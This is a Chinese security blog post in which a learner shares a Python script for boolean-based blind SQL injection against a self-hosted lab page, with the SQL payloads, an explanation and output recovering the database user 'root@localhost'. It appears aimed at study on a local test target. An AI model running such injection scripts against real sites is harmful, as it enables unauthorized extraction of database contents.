蜗蜗侠's Blog-关注网络安全移动版

主页 > 编程语言 > Python >

python之盲注探测脚本

文原创作者:v5est0r,本文属i春秋原创奖励计划,未经许可禁止转载

叫冰河怕辱了前辈的名声

前言:
最近在学python,做了个盲注的简单的跑用户的脚本,仅做个记录。
sqmap也有不灵的时候,有时需要根据情况自写脚本探测

正文:
本地用大表姐给的sql和php文件搭建了个布尔盲注的靶机
另外感谢大表姐的指导。




Demo:

[AppleScript] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: UTF-8 -*-
 
import sys
import requests
 
url = 'http://192.168.1.109/get_str.php?user=booooom%s'
 
headers = {
    'user-agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36'
}
 
check_data = list('1234567890abcdefghijklmnopqrstuvwxyz@')
 
#check_list = list('12345abcde')
print 'Start to retrive MySQL user:'
 
l = "' and length(user())=%s and '1'='1"
st = "' and substr(user(),%s,1)='%s' and '1'='1"
 
user = ''
 
for i in range(1,20):
    sql = l % str(i)
    judge1 = requests.get(url % sql,headers=headers,timeout=60)
    #print(judge1.content)
    if judge1.content.find("Name:booooom") != -1:
        length = i
        print(i)
        break
 
 
 
for k in range(1,i + 1):
    #print user
    for ss in check_data:
        str_user = st % (str(k), str(ss))
        judge2 = requests.get(url % str_user,headers = headers,timeout=60)
        #print(judge2.content)
        if judge2.content.find("User Name:booooom") != -1:
            user = user + ss
 
print(user)
稍作解释:

注入语句里用%s占位,等待在for循里面依次判断长度

[AppleScript] 纯文本查看 复制代码
?
l = "' and length(user())=%s and '1'='1"

requests获取页面执行返回,find方法定位成功的页面特征booooom
#find()方法对字符串的处理,如果匹配到,则返回索引,第几位匹配到,若没有匹配到,则返回-1,即返回一直为int型

[AppleScript] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
8
for i in range(1,20):
    sql = l % str(i)
    judge1 = requests.get(url % sql,headers=headers,timeout=60)
    #print(judge1.content)
    if judge1.content.find("Name:booooom") != -1:
        length = i
        print(i)
        break

此处判断得出长度为14
得出长度下一步来一位一位判断字符,
先把字符集存在列表待取

[AppleScript] 纯文本查看 复制代码
?
check_data = list('1234567890abcdefghijklmnopqrstuvwxyz@')

接下来的套路与判断长度一样 先在for循环里枚举字符与数据做对比,if判断对比一致则可以匹配到页面特征booooom
最后一位一位判断出数据库用户

[AppleScript] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
Start to retrive MySQL user:
14
 
r
ro
roo
root
root@
root@l
root@lo
root@loc
root@loca
root@local
root@localh
root@localho
root@localhos
root@localhost

9ADED56D-33B5-4CD7-906F-982C07413016.png (35.44 KB, 下载次数: 2)

下载附件  保存到相册

2016-9-9 07:39 上传


一个一个猜库名 表名和内容 ,是一样的套路 有兴趣的可以练练手。 (责任编辑:蜗蜗侠)